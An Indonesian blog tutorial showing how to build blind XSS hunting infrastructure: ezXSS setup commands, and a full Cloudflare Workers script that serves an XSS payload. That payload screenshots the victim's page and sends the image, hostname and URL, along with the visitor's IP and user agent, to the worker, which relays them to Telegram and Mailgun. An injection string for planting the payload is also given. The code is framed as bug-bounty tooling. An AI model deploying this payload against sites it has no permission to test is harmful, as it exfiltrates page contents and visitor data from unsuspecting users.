Jul 21, 2020 - 05:01
pb1
post image

Cara Menggunakan Cloudflare Workers, Self-Hosted & Serverless Blind XSS Hunter


Mungkin sebelumnya kamu adalah pengguna XSS Hunter yang dibuat oleh @IAmMandatory. Tapi jika kamu sedang mempertimbangkan untuk menggunakan self-hosted Blind XSS Hunter, silakan lanjutkan membaca tulisan ini. Pada dasarnya tulisan ini akan mengarahkan kamu untuk membangun Blind XSS Hunter milik kamu sendiri menggunakan sebuah server atau tanpa menggunakan server sama sekali. Untuk serverless, disini kita akan menggunakan Cloudflare Workers, Telegram dan sebagai opsional menggunakan mail services dari Mailgun.

Selama ini saya hanya menggunakan 2 tools ini untuk berbagai kebutuhan :

Self-hosted : ezXSS by @elyesa

Serverless : Blind XSS Cloudflare Workers by @vavkamil

Self-Hosted Blind XSS Hunter

Jika kamu ingin menggunakan layanan yang hampir mirip dengan XSS Hunter, kamu bisa menggunakan ezXSS. Bedanya ezXSS ini menggunakan server milik kamu sendiri. Untuk mulai menggunakan ezXSS silakan ikuti petunjuk dibawah ini :

Instalasi ezXSS

Clone repo ezXSS ke document root server kamu.

 git clone https://github.com/ssl/ezXSS.git


Setelah itu buatlah sebuah database untuk ezXSS dan sesuaikan data yang kamu buat dengan konfigurasi di /src/Database.php line 5 - 8.

 mysql -u root -p 


 CREATE DATABASE xss; 


 CREATE USER xss@localhost IDENTIFIED BY 'password';


 GRANT ALL PRIVILEGES ON xss.* TO xss@localhost IDENTIFIED BY 'password';


 FLUSH PRIVILEGES; 


Setelah itu buka browser dan lanjutkan ke proses instalasi. Akses https://domainkamu.com/manage/install maka tampilannya akan seperti berikut ini :



Lanjutkan dengan mengisi email dan juga password untuk panel tersebut. Berikut untuk tampilan dari ezXSS :



Serverless Blind XSS Hunter Menggunakan Cloudflare Workers

Ada opsi lainnya yang bisa digunakan, jika kamu tidak memiliki server atau tidak ingin menggunakan sebuah server, kamu bisa menggunakan layanan dari Cloudflare, yakni Cloudflare Workers. Nantinya apabila payload yang kamu eksekusi berhasil, maka report akan dikirimkan oleh bot Telegram ke kamu langsung. Opsi tambahan, kamu bisa menggunakan mail service dari Mailgun untuk mendapatkan report via email berikut dengan screenshot.

Jika kamu sudah memiliki akun Cloudflare, silakan lansung menuju halaman https://dash.cloudflare.com/{account id}/workers/overview. Nantinya kamu akan memilih subdomain yang akan kamu gunakan, setelah itu dilanjutkan dengan Create Workers. Setelah itu paste code berikut :

 

addEventListener("fetch", event => {
  event.respondWith(handleRequest(event.request))
})

////////////////////////////////////////////////////////////////////////////////////////////////////
// ! DON'T LEAK THE SECRETS !
// Use Workers KV if you can https://developers.cloudflare.com/workers/reference/storage/

const telegram_token = "bot-token"; // Telegram Bot Token
const telegram_url = "https://api.telegram.org/bot" + telegram_token + "/sendMessage";
const telegram_to = "12345678"; // User ID Kamu

const mailgun_username = "api"
const mailgun_apikey = "apikey" // API Key Mailgun
const mailgun_url = "https://api.mailgun.net/v3/domainkamu.com/messages" // Replace domainkamu.com with your domain

const mailgun_to = "noreply@mail.teguh.co" // Email untuk menerima report
const mailgun_from = "noreply@mail.teguh.co" // Email untuk mengirim report
const mailgun_subject = "Blind XSS Alert Bosku"

const cloudflare_route = "https://xss.teguh.workers.dev/blind.js" // Cloudflare workers punya kamu

////////////////////////////////////////////////////////////////////////////////////////////////////
// Function to parse query strings

async function getParameterByName(name, url) {
  name = name.replace(/[\[\]]/g, "\\$&")
  name = name.replace(/\//g, "")
  let regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"),
    results = regex.exec(url)

  if (!results) return null
  else if (!results[2]) return ""
  else if (results[2]) {
    results[2] = results[2].replace(/\//g, "")
  }

  return decodeURIComponent(results[2].replace(/\+/g, " "));
}

////////////////////////////////////////////////////////////////////////////////////////////////////
// Main stuff is happening here

async function handleRequest(request) {
  console.log(new Map(request.headers))

  ////////////////////////////////////////////////////////////////////////////////////////////////////
  // Process POST request and send notifications to Telegram and E-mail

  if (request.method == "POST") {
    const blind_ip = request.headers.get("cf-connecting-ip") // Original visitor IP address
    const blind_country = request.headers.get("cf-ipcountry") // Country by IP

    const blind_referer = request.headers.get("referer")
    const blind_useragent = request.headers.get("user-agent")

    const postData = await request.formData();
    const base64_img = postData.get("png") // btoa(canvas.toDataURL())
    const blind_host = postData.get("host") // location.hostname
    const blind_url = atob(atob(postData.get("url"))) // btoa(btoa(location))

    ////////////////////////////////////////////////////////////////////////////////////////////////////
    // HTML styled message for Telegram & Mailgun

    const mailgun_alert = ["Blind XSS was executed on : " + blind_host + "",
    "IP: " + blind_ip + " (" + blind_country + ")",
    "user-agent: " + blind_useragent + "",
    "URL: 
" + blind_url + "
"
, "referrer:\n
" + blind_referer + "
"
, "Screenshot"] const telegram_alert = ["Blind XSS was executed on : \n
" + blind_host + "
\n"
, "IP : \n
" + blind_ip + " (" + blind_country + ")
\n"
, "Full URL : \n
" + blind_url + "
\n"
, "User Agent : \n
" + blind_useragent + "
"
] //////////////////////////////////////////////////////////////////////////////////////////////////// // Telegram notification const telegram_init = { method: "POST", headers: new Headers([["Content-Type", "application/x-www-form-urlencoded"]]), body: "chat_id=" + telegram_to + "&disable_web_page_preview=1&parse_mode=html&text=" + telegram_alert.join("\r\n") } const telegram_response = await fetch(telegram_url, telegram_init) console.log("Telegram response: ", telegram_response.status) //////////////////////////////////////////////////////////////////////////////////////////////////// // Mailgun notification let mailgun_headers = { "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic " + btoa(mailgun_username + ":" + mailgun_apikey) } const mailgun_init = { method: "POST", headers: mailgun_headers, body: "html=" + mailgun_alert.join("

"
) + "&subject=" + mailgun_subject + " on " + blind_host + "&from=" + mailgun_from + "&to=" + mailgun_to } const mailgun_response = await fetch(mailgun_url, mailgun_init) // console.log("Mailgun response: " + mailgun_response.status) //////////////////////////////////////////////////////////////////////////////////////////////////// // Return something here return new Response("Blind XSS executed, have a nice day :)", { headers: new Headers([["Content-Type", "text/plain"], ["Access-Control-Allow-Origin", "*"]]), status: 200 }) } //////////////////////////////////////////////////////////////////////////////////////////////////// // Process GET requests, return base64 image, html2canvas.min.js or Blind XSS payload else { //////////////////////////////////////////////////////////////////////////////////////////////////// // Check for GET parameters let base64 = await getParameterByName("base64", request.url) let html2canvas = await getParameterByName("html2canvas", request.url) if (base64) { //////////////////////////////////////////////////////////////////////////////////////////////////// // Return base64 image return new Response("", { headers: new Headers([["Content-Type", "text/html"]]), status: 200 }) } else if (html2canvas) { //////////////////////////////////////////////////////////////////////////////////////////////////// // Return html2canvas.min.js from our domain let content = await fetch("https://html2canvas.hertzen.com/dist/html2canvas.min.js") return content } else { //////////////////////////////////////////////////////////////////////////////////////////////////// // Return Blind XSS payload let js_response = ["// Ethical Blind XSS hunting, nothing malicious ;)", "let script = document.createElement('script');", "script.onload = function () {", " html2canvas(document.documentElement, {scale: 1}).then(canvas => {", " let init = {", " method: 'POST',", " headers: new Headers([['Content-Type', 'application/x-www-form-urlencoded']]),", " body: 'png='+btoa(canvas.toDataURL())+'&host='+location.hostname+'&url='+btoa(btoa(location))", " }", " fetch('" + cloudflare_route + "', init)", " });", "};", "script.src = '" + cloudflare_route + "?html2canvas=1';", "document.head.appendChild(script);"].join("\r\n") return new Response(js_response, { headers: new Headers([["Content-Type", "application/javascript"]]), status: 200 }) } } }


Setelah itu Save & Deploy, tampilannya seperti berikut :

Berikut untuk payload nya dan sesuaikan dengan workers milik kamu :

"><script src=//xss.teguh.workers.dev/>script>


Jika payload yang kamu eksekusi berhasil, kamu akan menerima chat dari bot telegram milik kamu. Contohnya seperti berikut ini :

Jika kamu mengaktifkan opsi menerima report via email, maka tampilannya seperti berikut :

Jadi jika kamu sedang mencari opsi lain atau alternatif dari XSS Hunter, kamu bisa menggunakan ezXSS dan juga Serverless Blind XSS Hunters menggunakan Cloudflare Workers. Tergantung kamu sendiri ingin menggunakan yang mana. Sesuaikan dengan kebutuhan dan kenginan kamu sendiri.

Terima kasih dan semoga bermanfaat.

Bagaimana? apakah kamu menyukai dengan tulisan artikel Bian?
Jika kamu menyukainya, silakan tulis pendapatmu di kolom komentar ya gengs 😊

atau untuk menulis komentar
Sukai Medialova

Apa Reaksimu?

{{ postReactions[reaction] }}
{{ reaction }}
Kolom komentar tersedia untuk diskusi, berbagi ide dan pengetahuan. Hargai pembaca lain dengan berbahasa yang baik dan sopan. Setialah pada topik. Jangan menyerang atau menebar kebencian terhadap suku, agama, ras, atau golongan tertentu. Pikirlah baik-baik sebelum mengirim komentar.
Silahkan tulis komentar Anda sesuai dengan topik halaman berita ini. Komentar yang berisi SPAM! tidak akan ditampilkan sebelum disetujui oleh team kami. (berkomentarlah dengan baik dan sopan)
Jika Anda merasa bahwa Artikel ini bermanfaat, Anda bisa membagikannya ke teman, sahabat, pacar, keluarga ke Facebook, Twitter, WhatsApp, Pinterest & LinkedIn.
Ini adalah artikel dari komunitas Medialova dan telah disunting sesuai standar penulisan kami. Andapun bisa membuatnya disini.
Penayang artikel dari pengguna Medialova yang diposting di halaman M-story yang berbasis user generate content (UGC). Semua isi tulisan dan konten di dalamnya sepenuhnya menjadi tanggung jawab penulis atau pengguna.
Seluruh isi konten adalah sepenuhnya hak milik Medialova, jika mengambil isi konten dari Medialova, harap mencantumkan sumber konten link website Medialova. Seluruh isi konten Medialova, mengandung hak cipta yang diterbitkan oleh para penulis (kontributor) medialova.com.

DISCLAIMER

m e d i a l o va
medialovestory
logo medialova
MODERATOR: Vioza, Agez, Feronica
TEAM EDITOR: Bian, Ayoe, Roys
MediaLova
Rilis 25/07/2020 - v.1.0.8
Iklan
Netflix
Kerjasama

medialova.com[at]gmail.com
Netflix
Administrator
Bian Penulis Terverifikasi Konten Redaksi Medialova
Bian Dinnurjand CEO Founder at Medialova Production.

Penulis adalah aktivis sastra teater. Selain aktif di dunia bisnis, juga punya hoby tulis menulis.

Artikel yang kami muat ini mungkin bisa membatu Sobat lebih paham tentang masalah Investasi, merencanakan keuangan dan membantu Sobat untuk memulai bisnis baru. ~Salam Trader Indonesia~.
Iklan
Berita
Cara Pengaturan Masalah sellers.json di Google Adsense
Begini toh cara mengatasinya
Berita
10 Dasar Pembuatan Artikel Pilar Untuk SEO Lebih Maksimal
Pegertian artikel pilar dan beberapa hal penting dalam cara pembuatan artikel pilar agar hasil maksimal dalam optimasi SEO yang perlu diperhatikan
Berita
Download Aplikasi Web Safelink Dengan PHP dan MYSQL
Download GRATIS Web Safelink.
Berita
Mari Salurkan Hobi Menulis di Medialova
Salurkan hobimu melalui sebuah tulisan.
atau untuk menulis komentar

ATURAN KOMENTAR

MOHON UNTUK SELALU MENGGUNAKAN ALAMAT EMAIL YANG VALID ( AKTIF ) AGAR KAMI DAPAT MEMBALAS KOMENTAR SOBAT.

Kolom komentar tersedia untuk diskusi, berbagi ide dan pengetahuan. Hargai pembaca lain dengan berbahasa yang baik dan sopan. Setialah pada topik. Jangan menyerang atau menebar kebencian terhadap suku, agama, ras, atau golongan tertentu. Pikirlah baik-baik sebelum mengirim komentar.

rb1
rb1
Room

rb2
rb2
Premium

SPONSOR
BERITA ACAK
Kerja Sama Tayangkan Dokumenter Netflix di TVRI, Kemendikbud Dikritik DPR!
Tayang film Dokumenter Netflix di TVRI...
Backstreet Rookie Sedang Diselidiki Oleh Komisi Standar Komunikasi Korea
Backstreet Rookie Sedang Diselidiki Oleh Komisi Standar Komunikasi Korea Karena ...
Mengenal Manfaat Buah Strawberry Bagi Kesehatan Tubuh Seseorang
Mengenal Manfaat Buah Strawberry Bagi Kesehatan Tubuh Seseorang. Buah yang beruk...
Manfaat Buah Salak Bagi Kesehatan Tubuh, Selain Rasanya Yang Menyenangkan
Tidak terkecuali dengan buah salak yang satu ini, buah yang memiliki cita rasa u...
PENULIS
Admin
memiliki 9 artikel
Bian
memiliki 39 artikel
Arum
memiliki 21 artikel
Erwin
memiliki 17 artikel
Zefta
memiliki 16 artikel
Pluto
memiliki 20 artikel
Bangbang
memiliki 12 artikel
Wulan
memiliki 10 artikel
Irta
memiliki 16 artikel
Nadia
memiliki 10 artikel
Kirana
memiliki 6 artikel
Bimo
memiliki 14 artikel
Lutfie
memiliki 13 artikel
Burhan
memiliki 14 artikel
MasGun
memiliki 10 artikel
Fendy
memiliki 20 artikel
Satrio
memiliki 14 artikel
Sukma
memiliki 7 artikel
Sela
memiliki 9 artikel
Medialova
memiliki 13 artikel
Farida
memiliki 13 artikel
MediaNews
memiliki 15 artikel
Annisa
memiliki 9 artikel
Indah
memiliki 12 artikel
Intermezzo
memiliki 11 artikel
AndreSugara
memiliki 3 artikel
Feronica
memiliki 6 artikel
Ayoe
memiliki 6 artikel
Iqbal
memiliki 10 artikel
Malihah
memiliki 5 artikel
Drakor
memiliki 182 artikel
Fuad
memiliki 6 artikel
Alizen
memiliki 22 artikel
Syamsul
memiliki 9 artikel
Fauzi
memiliki 10 artikel
Oman
memiliki 8 artikel
Bayu
memiliki 7 artikel
Fauzan
memiliki 20 artikel
IqbalFauzi
memiliki 18 artikel
Tiara
memiliki 16 artikel
Fitria
memiliki 11 artikel
Staff
memiliki 8 artikel
Gabrielle
memiliki 8 artikel
Roby
memiliki 4 artikel
BeritaPolri
memiliki 9 artikel
Panestika
memiliki 3 artikel
Anggi
memiliki 7 artikel
Maulida
memiliki 121 artikel
Saktiprayoga
memiliki 209 artikel
Janeta
memiliki 8 artikel
Fanisari07
memiliki 32 artikel
Nabila
memiliki 21 artikel
Yudi1998
memiliki 51 artikel
HengkiSEO
memiliki 19 artikel
Destria
memiliki 4 artikel
wi
Widaulfatum
memiliki 3 artikel
Anisaa
memiliki 44 artikel
rb2 rb3